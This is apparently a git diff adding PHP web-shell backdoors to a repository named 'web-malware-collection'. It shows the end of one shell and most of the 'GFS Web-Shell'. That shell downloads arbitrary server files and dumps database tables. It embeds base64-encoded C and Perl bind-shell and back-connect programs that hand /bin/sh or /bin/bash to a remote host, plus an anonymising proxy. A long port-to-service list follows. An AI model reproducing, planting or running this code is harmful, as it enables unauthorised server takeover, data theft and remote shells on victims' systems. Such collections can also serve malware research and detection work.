"2OyMWQ2OMQngSlBjZLWBM1AFSqkyU4A2tWywUMYt/wlTSIvgYGA/Zq3QwU7mmHvh4g8GUsfAUHCH95NwMHV4SGh4Ed" . + "ihOOjy8rZpSVeiV+mYCWHncKo6Sfm5cliAdQrK1PQBlJsrNSEQA7", + "unknown"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . + "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . + "AAADaDi6vPEwDECrnSO+aTvPEQcIAmGaIrhR5XmKgMq1LkoMN7ECrjDWp52r0iPpJJ0KjUAq7SxLE+sI+9V8vycFiM" . + "0iLb2O80s8JcfVJJTaGYrZYPNby5Ov6WolPD+XDJqAgSQ4EUCGQQEJADs=", + "binary"=>"R0lGODlhFAAWAMIAAP///8z//8zMzJmZmTMzMwAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . + "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . + "AAADaUi6vPEwEECrnSS+WQoQXSEAE6lxXgeopQmha+q1rhTfakHo/HaDnVFo6LMYKYPkoOADim4VJdOWkx2XvirUgq" . + "VaVcbuxCn0hKe04znrIV/ROOvaG3+z63OYO6/uiwlKgYJJOxFDh4hTCQA7", + "text"=>"R0lGODlhFAAWAOMAAP/////MM/8zM8z//5mZmZlmM2bM/zMzMwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH+TlRoaX" . + "MgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1i" . + "ZXIgMTk5NQAh+QQBAAADACwAAAAAFAAWAAAEb/DISee4eBzAu99Hdm1eSYbZWXEkgI5sEBg0+2HnTBsccvhAmGtXAy" . + "COSITwUGg2PYQoQalhOZ/QKLVV6gKmQm8XXDUmzx0yV5ze9s7JdpgtL3ME5jhHTS/xO3hwdWt0f317WwdSi4xRPxlw" . + "kUgXEQA7", + "compressed"=>"R0lGODlhFAAWAOcAAP//////zP//mf//Zv//M///AP/M///MzP/Mmf/MZv/MM//MAP+Z//+ZzP+Zmf+ZZv+ZM/+ZAP" . + "9m//9mzP9mmf9mZv9mM/9mAP8z//8zzP8zmf8zZv8zM/8zAP8A//8AzP8Amf8AZv8AM/8AAMz//8z/zMz/mcz/Zsz/" . + "M8z/AMzM/8zMzMzMmczMZszMM8zMAMyZ/8yZzMyZmcyZZsyZM8yZAMxm/8xmzMxmmcxmZsxmM8xmAMwz/8wzzMwzmc" . + "wzZswzM8wzAMwA/8wAzMwAmcwAZswAM8wAAJn//5n/zJn/mZn/Zpn/M5n/AJnM/5nMzJnMmZnMZpnMM5nMAJmZ/5mZ" . + "zJmZmZmZZpmZM5mZAJlm/5lmzJlmmZlmZplmM5lmAJkz/5kzzJkzmZkzZpkzM5kzAJkA/5kAzJkAmZkAZpkAM5kAAG" . + "b//2b/zGb/mWb/Zmb/M2b/AGbM/2bMzGbMmWbMZmbMM2bMAGaZ/2aZzGaZmWaZZmaZM2aZAGZm/2ZmzGZmmWZmZmZm" . + "M2ZmAGYz/2YzzGYzmWYzZmYzM2YzAGYA/2YAzGYAmWYAZmYAM2YAADP//zP/zDP/mTP/ZjP/MzP/ADPM/zPMzDPMmT" . + "PMZjPMMzPMADOZ/zOZzDOZmTOZZjOZMzOZADNm/zNmzDNmmTNmZjNmMzNmADMz/zMzzDMzmTMzZjMzMzMzADMA/zMA" . + "zDMAmTMAZjMAMzMAAAD//wD/zAD/mQD/ZgD/MwD/AADM/wDMzADMmQDMZgDMMwDMAACZ/wCZzACZmQCZZgCZMwCZAA" . + "Bm/wBmzABmmQBmZgBmMwBmAAAz/wAzzAAzmQAzZgAzMwAzAAAA/wAAzAAAmQAAZgAAM+4AAN0AALsAAKoAAIgAAHcA" . + "AFUAAEQAACIAABEAAADuAADdAAC7AACqAACIAAB3AABVAABEAAAiAAARAAAA7gAA3QAAuwAAqgAAiAAAdwAAVQAARA" . + "AAIgAAEe7u7t3d3bu7u6qqqoiIiHd3d1VVVURERCIiIhEREQAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMg" . + "ZG9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAAkACwAAAAAFA" . + "AWAAAImQBJCCTBqmDBgQgTDmQFAABDVgojEmzI0KHEhBUrWrwoMGNDihwnAvjHiqRJjhX/qVz5D+VHAFZiWmmZ8BGH" . + "ji9hxqTJ4ZFAmzc1vpxJgkPPn0Y5CP04M6lPEkCN5mxoJelRqFY5TM36NGrPqV67Op0KM6rYnkup/gMq1mdamC1tdn" . + "36lijUpwjr0pSoFyUrmTJLhiTBkqXCgAA7", + "sound"=>"R0lGODlhFAAWAMIAAP////8zM8z//8zMzJmZmWYAADMzMwAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . + "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAACACwAAAAAFAAW" . + "AAADayi63P4wNsNCkOocYVWPB7FxFwmFwGh+DZpynndpNAHcW9cVQUj8tttrd+G5hMINT7A0BpE4ZnF6hCqn0iryKs" . + "0SDN9v0tSc0Q4DQ1SHFRjeBrQ6FzNN5Co2JD4YfUp7GnYsexQLhBiJigsJADs=", + "script"=>"R0lGODlhFAAWAMIAAP///8z//5mZmTMzMwAAAAAAAAAAAAAAACH+TlRoaXMgYXJ0IGlzIGluIHRoZSBwdWJsaWMgZG" . + "9tYWluLiBLZXZpbiBIdWdoZXMsIGtldmluaEBlaXQuY29tLCBTZXB0ZW1iZXIgMTk5NQAh+QQBAAABACwAAAAAFAAW" . + "AAADZTi6vPEwDECrnSO+aTvPEddVIrhVBJCSF8QRMIwOBE2fVLrmcYz3O4pgKCDgVMgR0SgZOYVM0dNS/AF7gGy1me" . + "16v9vXNdYNf89es2os00bRcDW7DVDDwe87fjMg+v9DNxBzYw8JADs="); + header('Content-type: image/gif'); + echo base64_decode($images[$img]); + die(); +} + +function kill(){ // Shell deleter function + style(); + echo("<form method='post'>"); + echo("Type 'confirm' to kill the shell:<br>\n<input type='text' name='ver' action='?act=kill'>"); + echo("<input type='submit' value='Delete'>"); + echo("</form>"); + if($_POST['ver'] == "confirm"){ + $self = basename($_SERVER['PHP_SELF']); + if(unlink($self)){echo("Deleted");} + else{echo("Failed");} + } +} +die(); +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/gfs_sh.txt b/web-malware-collection-master/Backdoors/PHP/gfs_sh.txt new file mode 100755 index 0000000..dd6c601 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/gfs_sh.txt @@ -0,0 +1,1575 @@ +<? +/* +************************* +* ###### ##### ###### * +* ###### ##### ###### * +* ## ## ## * +* ## #### ###### * +* ## ## #### ###### * +* ## ## ## ## * +* ###### ## ###### * +* ###### ## ###### * +* * +* Group Freedom Search! * +************************* +GFS Web-Shell +*/ +error_reporting(0); +if($_POST['b_down']){ + $file=fopen($_POST['fname'],"r"); + ob_clean(); + $filename=basename($_POST['fname']); + $filedump=fread($file,filesize($_POST['fname'])); + fclose($file); + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); +} +if($_POST['b_dtable']){ + $dump=down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + if($dump!=""){ + header("Content-type: application/octet-stream"); + header("Content-disposition: attachment; filename=\"".$_POST['tablename'].".dmp\";"); + echo down_tb($_POST['tablename'], $_POST['dbname'],$_POST['host'], $_POST['username'], $_POST['pass']); + exit(); + }else + die("<b>Error dump!</b><br> table=".$_POST['tablename']."<br> db=".$_POST['dbname']."<br> host=".$_POST['host']."<br> user=".$_POST['username']."<br> pass=".$_POST['pass']); +} +set_magic_quotes_runtime(0); +set_time_limit(0); +ini_set('max_execution_time',0); +ini_set('output_buffering',0); +if(version_compare(phpversion(), '4.1.0')==-1){ + $_POST=&$HTTP_POST_VARS; + $_GET=&$HTTP_GET_VARS; + $_SERVER=&$HTTP_SERVER_VARS; +} +if (get_magic_quotes_gpc()){ + foreach ($_POST as $k=>$v){ + $_POST[$k]=stripslashes($v); + } + foreach ($_SERVER as $k=>$v){ + $_SERVER[$k]=stripslashes($v); + } +} +if ($_POST['username']==""){ + $_POST['username']="root"; +} +//////////////////////////////////////////////////////////////////////////////// +///////////////////////////// ���������� /////////////////////////////////////// +//////////////////////////////////////////////////////////////////////////////// +$server=$HTTP_SERVER_VARS['SERVER_SOFTWARE']; +$r_act=$_POST['r_act']; +$safe_mode=ini_get('safe_mode'); //������ ����������� ������ +$mysql_stat=function_exists('mysql_connect'); //������� mysql +$curl_on=function_exists('curl_version'); //������� cURL +$dis_func=ini_get('disable_functions'); //�������������� ������� +$HTML=<<<html +<html> +<head> +<title>GFS web-shell ver 3.1.7</title> +</head> +<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> +html; +$port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$prx1="IyEvaG9tZS9tZXJseW4vYmluL3BlcmwgLXcNCiMjIw0KIyMjaHR0cDovL2ZvcnVtLndlYi1oYWNrLnJ1L2luZGV4LnBocD9zaG93dG9waWM9 +MjY3MDYmc3Q9MCYjZW50cnkyNDYzNDQNCiMjIw0KDQp1c2Ugc3RyaWN0Ow0KJEVOVntQQVRIfSA9IGpvaW4gXCI6XCIsIHF3KC91c3IvdWNiIC9iaW4 +gL3Vzci9iaW4pOw0KJHwrKzsNCg0KIyMgQ29weXJpZ2h0IChjKSAxOTk2IGJ5IFJhbmRhbCBMLiBTY2h3YXJ0eg0KIyMgVGhpcyBwcm9ncmFtIGlzIG +ZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0DQojIyBhbmQvb3IgbW9kaWZ5IGl0IHVuZGVyIHRoZSBzYW1lIHRlcm1zIGFzIFBlc +mwgaXRzZWxmLg0KDQojIyBBbm9ueW1vdXMgSFRUUCBwcm94eSAoaGFuZGxlcyBodHRwOiwgZ29waGVyOiwgZnRwOikNCiMjIHJlcXVpcmVzIExXUCA1 +LjA0IG9yIGxhdGVyDQoNCm15ICRIT1NUID0gXCJsb2NhbGhvc3RcIjsNCm15ICRQT1JUID0gXCI="; +$prx2="XCI7DQoNCnN1YiBwcmVmaXggew0KIG15ICRub3cgPSBsb2NhbHRpbWU7DQoNCiBqb2luIFwiXCIsIG1hcCB7IFwiWyRub3ddIFskeyR9XSAk +X1xcblwiIH0gc3BsaXQgL1xcbi8sIGpvaW4gXCJcIiwgQF87DQp9DQoNCiRTSUd7X19XQVJOX199ID0gc3ViIHsgd2FybiBwcmVmaXggQF8gfTsNCiR +TSUd7X19ESUVfX30gPSBzdWIgeyBkaWUgcHJlZml4IEBfIH07DQokU0lHe0NMRH0gPSAkU0lHe0NITER9ID0gc3ViIHsgd2FpdDsgfTsNCg0KbXkgJE +FHRU5UOyAgICMgZ2xvYmFsIHVzZXIgYWdlbnQgKGZvciBlZmZpY2llbmN5KQ0KQkVHSU4gew0KIHVzZSBMV1A6OlVzZXJBZ2VudDsNCg0KIEBNeUFnZ +W50OjpJU0EgPSBxdyhMV1A6OlVzZXJBZ2VudCk7ICMgc2V0IGluaGVyaXRhbmNlDQoNCiAkQUdFTlQgPSBNeUFnZW50LT5uZXc7DQogJEFHRU5ULT5h +Z2VudChcImFub24vMC4wN1wiKTsNCiAkQUdFTlQtPmVudl9wcm94eTsNCn0NCg0Kc3ViIE15QWdlbnQ6OnJlZGlyZWN0X29rIHsgMCB9ICMgcmVkaXJ +lY3RzIHNob3VsZCBwYXNzIHRocm91Z2gNCg0KeyAgICAjIyMgTUFJTiAjIyMNCiB1c2UgSFRUUDo6RGFlbW9uOw0KDQogbXkgJG1hc3RlciA9IG5ldy +BIVFRQOjpEYWVtb24NCiAgIExvY2FsQWRkciA9PiAkSE9TVCwgTG9jYWxQb3J0ID0+ICRQT1JUOw0KIHdhcm4gXCJzZXQgeW91ciBwcm94eSB0byA8V +VJMOlwiLCAkbWFzdGVyLT51cmwsIFwiPlwiOw0KIG15ICRzbGF2ZTsNCiAmaGFuZGxlX2Nvbm5lY3Rpb24oJHNsYXZlKSB3aGlsZSAkc2xhdmUgPSAk +bWFzdGVyLT5hY2NlcHQ7DQogZXhpdCAwOw0KfSAgICAjIyMgRU5EIE1BSU4gIyMjDQoNCnN1YiBoYW5kbGVfY29ubmVjdGlvbiB7DQogbXkgJGNvbm5 +lY3Rpb24gPSBzaGlmdDsgIyBIVFRQOjpEYWVtb246OkNsaWVudENvbm4NCg0KIG15ICRwaWQgPSBmb3JrOw0KIGlmICgkcGlkKSB7ICAgIyBzcGF3bi +BPSywgYW5kIElcJ20gdGhlIHBhcmVudA0KICAgY2xvc2UgJGNvbm5lY3Rpb247DQogICByZXR1cm47DQogfQ0KICMjIHNwYXduIGZhaWxlZCwgb3IgS +VwnbSBhIGdvb2QgY2hpbGQNCiBteSAkcmVxdWVzdCA9ICRjb25uZWN0aW9uLT5nZXRfcmVxdWVzdDsNCiBpZiAoZGVmaW5lZCgkcmVxdWVzdCkpIHsN +CiAgIG15ICRyZXNwb25zZSA9ICZmZXRjaF9yZXF1ZXN0KCRyZXF1ZXN0KTsNCiAgICRjb25uZWN0aW9uLT5zZW5kX3Jlc3BvbnNlKCRyZXNwb25zZSk +7DQogICBjbG9zZSAkY29ubmVjdGlvbjsNCiB9DQogZXhpdCAwIGlmIGRlZmluZWQgJHBpZDsgIyBleGl0IGlmIElcJ20gYSBnb29kIGNoaWxkIHdpdG +ggYSBnb29kIHBhcmVudA0KfQ0KDQpzdWIgZmV0Y2hfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgICMgSFRUUDo6UmVxdWVzdA0KDQogd +XNlIEhUVFA6OlJlc3BvbnNlOw0KDQogbXkgJHVybCA9ICRyZXF1ZXN0LT51cmw7DQogd2FybiBcImZldGNoaW5nICR1cmxcIjsNCiBpZiAoJHVybC0+ +c2NoZW1lICF+IC9eKGh0dHB8Z29waGVyfGZ0cCkkLykgew0KICAgbXkgJHJlcyA9IEhUVFA6OlJlc3BvbnNlLT5uZXcoNDAzLCBcIkZvcmJpZGRlblw +iKTsNCiAgICRyZXMtPmNvbnRlbnQoXCJiYWQgc2NoZW1lOiBAe1skdXJsLT5zY2hlbWVdfVxcblwiKTsNCiAgICRyZXM7DQogfSBlbHNpZiAobm90IC +R1cmwtPnJlbC0+bmV0bG9jKSB7DQogICBteSAkcmVzID0gSFRUUDo6UmVzcG9uc2UtPm5ldyg0MDMsIFwiRm9yYmlkZGVuXCIpOw0KICAgJHJlcy0+Y +29udGVudChcInJlbGF0aXZlIFVSTCBub3QgcGVybWl0dGVkXFxuXCIpOw0KICAgJHJlczsNCiB9IGVsc2Ugew0KICAgJmZldGNoX3ZhbGlkYXRlZF9y +ZXF1ZXN0KCRyZXF1ZXN0KTsNCiB9DQp9DQoNCnN1YiBmZXRjaF92YWxpZGF0ZWRfcmVxdWVzdCB7DQogbXkgJHJlcXVlc3QgPSBzaGlmdDsgIyBIVFR +QOjpSZXF1ZXN0DQoNCiAjIyB1c2VzIGdsb2JhbCAkQUdFTlQNCg0KICMjIHdhcm4gXCJvcmlnIHJlcXVlc3Q6IDw8PFwiLCAkcmVxdWVzdC0+aGVhZG +Vyc19hc19zdHJpbmcsIFwiPj4+XCI7DQogJHJlcXVlc3QtPnJlbW92ZV9oZWFkZXIocXcoVXNlci1BZ2VudCBGcm9tIFJlZmVyZXIgQ29va2llKSk7D +QogIyMgd2FybiBcImFub24gcmVxdWVzdDogPDw8XCIsICRyZXF1ZXN0LT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiBteSAkcmVzcG9uc2Ug +PSAkQUdFTlQtPnJlcXVlc3QoJHJlcXVlc3QpOw0KICMjIHdhcm4gXCJvcmlnIHJlc3BvbnNlOiA8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N +0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2UtPnJlbW92ZV9oZWFkZXIocXcoU2V0LUNvb2tpZSkpOw0KICMjIHdhcm4gXCJhbm9uIHJlc3BvbnNlOi +A8PDxcIiwgJHJlc3BvbnNlLT5oZWFkZXJzX2FzX3N0cmluZywgXCI+Pj5cIjsNCiAkcmVzcG9uc2U7DQp9"; +$port[1] = "tcpmux (TCP Port Service Multiplexer)"; +$port[2] = "Management Utility"; +$port[3] = "Compression Process"; +$port[5] = "rje (Remote Job Entry)"; +$port[7] = "echo"; +$port[9] = "discard"; +$port[11] = "systat"; +$port[13] = "daytime"; +$port[15] = "netstat"; +$port[17] = "quote of the day"; +$port[18] = "send/rwp"; +$port[19] = "character generator"; +$port[20] = "ftp-data"; +$port[21] = "ftp"; +$port[22] = "ssh, pcAnywhere"; +$port[23] = "Telnet"; +$port[25] = "SMTP (Simple Mail Transfer)"; +$port[27] = "ETRN (NSW User System FE)"; +$port[29] = "MSG ICP"; +$port[31] = "MSG Authentication"; +$port[33] = "dsp (Display Support Protocol)"; +$port[37] = "time"; +$port[38] = "RAP (Route Access Protocol)"; +$port[39] = "rlp (Resource Location Protocol)"; +$port[41] = "Graphics"; +$port[42] = "nameserv, WINS"; +$port[43] = "whois, nickname"; +$port[44] = "MPM FLAGS Protocol"; +$port[45] = "Message Processing Module [recv]"; +$port[46] = "MPM [default send]"; +$port[47] = "NI FTP"; +$port[48] = "Digital Audit Daemon"; +$port[49] = "TACACS, Login Host Protocol"; +$port[50] = "RMCP, re-mail-ck"; +$port[53] = "DNS"; +$port[57] = "MTP (any private terminal access)"; +$port[59] = "NFILE"; +$port[60] = "Unassigned"; +$port[61] = "NI MAIL"; +$port[62] = "ACA Services"; +$port[63] = "whois++"; +$port[64] = "Communications Integrator (CI)"; +$port[65] = "TACACS-Database Service"; +$port[66] = "Oracle SQL*NET"; +$port[67] = "bootps (Bootstrap Protocol Server)"; +$port[68] = "bootpd/dhcp (Bootstrap Protocol Client)"; +$port[69] = "Trivial File Transfer Protocol (tftp)"; +$port[70] = "Gopher"; +$port[71] = "Remote Job Service"; +$port[72] = "Remote Job Service"; +$port[73] = "Remote Job Service"; +$port[74] = "Remote Job Service"; +$port[75] = "any private dial out service"; +$port[76] = "Distributed External Object Store"; +$port[77] = "any private RJE service"; +$port[78] = "vettcp"; +$port[79] = "finger"; +$port[80] = "World Wide Web HTTP"; +$port[81] = "HOSTS2 Name Serve"; +$port[82] = "XFER Utility"; +$port[83] = "MIT ML Device"; +$port[84] = "Common Trace Facility"; +$port[85] = "MIT ML Device"; +$port[86] = "Micro Focus Cobol"; +$port[87] = "any private terminal link"; +$port[88] = "Kerberos, WWW"; +$port[89] = "SU/MIT Telnet Gateway"; +$port[90] = "DNSIX Securit Attribute Token Map"; +$port[91] = "MIT Dover Spooler"; +$port[92] = "Network Printing Protocol"; +$port[93] = "Device Control Protocol"; +$port[94] = "Tivoli Object Dispatcher"; +$port[95] = "supdup"; +$port[96] = "DIXIE"; +$port[98] = "linuxconf"; +$port[99] = "Metagram Relay"; +$port[100] = "[unauthorized use]"; +$port[101] = "HOSTNAME"; +$port[102] = "ISO, X.400, ITOT"; +$port[103] = "Genesis Point-to-Point"; +$port[104] = "ACR-NEMA Digital Imag. & Comm. 300"; +$port[105] = "CCSO name server protocol"; +$port[106] = "poppassd"; +$port[107] = "Remote Telnet Service"; +$port[108] = "SNA Gateway Access Server"; +$port[109] = "POP2"; +$port[110] = "POP3"; +$port[111] = "Sun RPC Portmapper"; +$port[112] = "McIDAS Data Transmission Protocol"; +$port[113] = "Authentication Service"; +$port[115] = "sftp (Simple File Transfer Protocol)"; +$port[116] = "ANSA REX Notify"; +$port[117] = "UUCP Path Service"; +$port[118] = "SQL Services"; +$port[119] = "NNTP"; +$port[120] = "CFDP"; +$port[123] = "NTP"; +$port[124] = "SecureID"; +$port[129] = "PWDGEN"; +$port[133] = "statsrv"; +$port[135] = "loc-srv/epmap"; +$port[137] = "netbios-ns"; +$port[138] = "netbios-dgm (UDP)"; +$port[139] = "NetBIOS"; +$port[143] = "IMAP"; +$port[144] = "NewS"; +$port[150] = "SQL-NET"; +$port[152] = "BFTP"; +$port[153] = "SGMP"; +$port[156] = "SQL Service"; +$port[161] = "SNMP"; +$port[175] = "vmnet"; +$port[177] = "XDMCP"; +$port[178] = "NextStep Window Server"; +$port[179] = "BGP"; +$port[180] = "SLmail admin"; +$port[199] = "smux"; +$port[210] = "Z39.50"; +$port[213] = "IPX"; +$port[218] = "MPP"; +$port[220] = "IMAP3"; +$port[256] = "RAP"; +$port[257] = "Secure Electronic Transaction"; +$port[258] = "Yak Winsock Personal Chat"; +$port[259] = "ESRO"; +$port[264] = "FW1_topo"; +$port[311] = "Apple WebAdmin"; +$port[350] = "MATIP type A"; +$port[351] = "MATIP type B"; +$port[363] = "RSVP tunnel"; +$port[366] = "ODMR (On-Demand Mail Relay)"; +$port[371] = "Clearcase"; +$port[387] = "AURP (AppleTalk Update-Based Routing Protocol)"; +$port[389] = "LDAP"; +$port[407] = "Timbuktu"; +$port[427] = "Server Location"; +$port[434] = "Mobile IP"; +$port[443] = "ssl"; +$port[444] = "snpp, Simple Network Paging Protocol"; +$port[445] = "SMB"; +$port[458] = "QuickTime TV/Conferencing"; +$port[468] = "Photuris"; +$port[475] = "tcpnethaspsrv"; +$port[500] = "ISAKMP, pluto"; +$port[511] = "mynet-as"; +$port[512] = "biff, rexec"; +$port[513] = "who, rlogin"; +$port[514] = "syslog, rsh"; +$port[515] = "lp, lpr, line printer"; +$port[517] = "talk"; +$port[520] = "RIP (Routing Information Protocol)"; +$port[521] = "RIPng"; +$port[522] = "ULS"; +$port[531] = "IRC"; 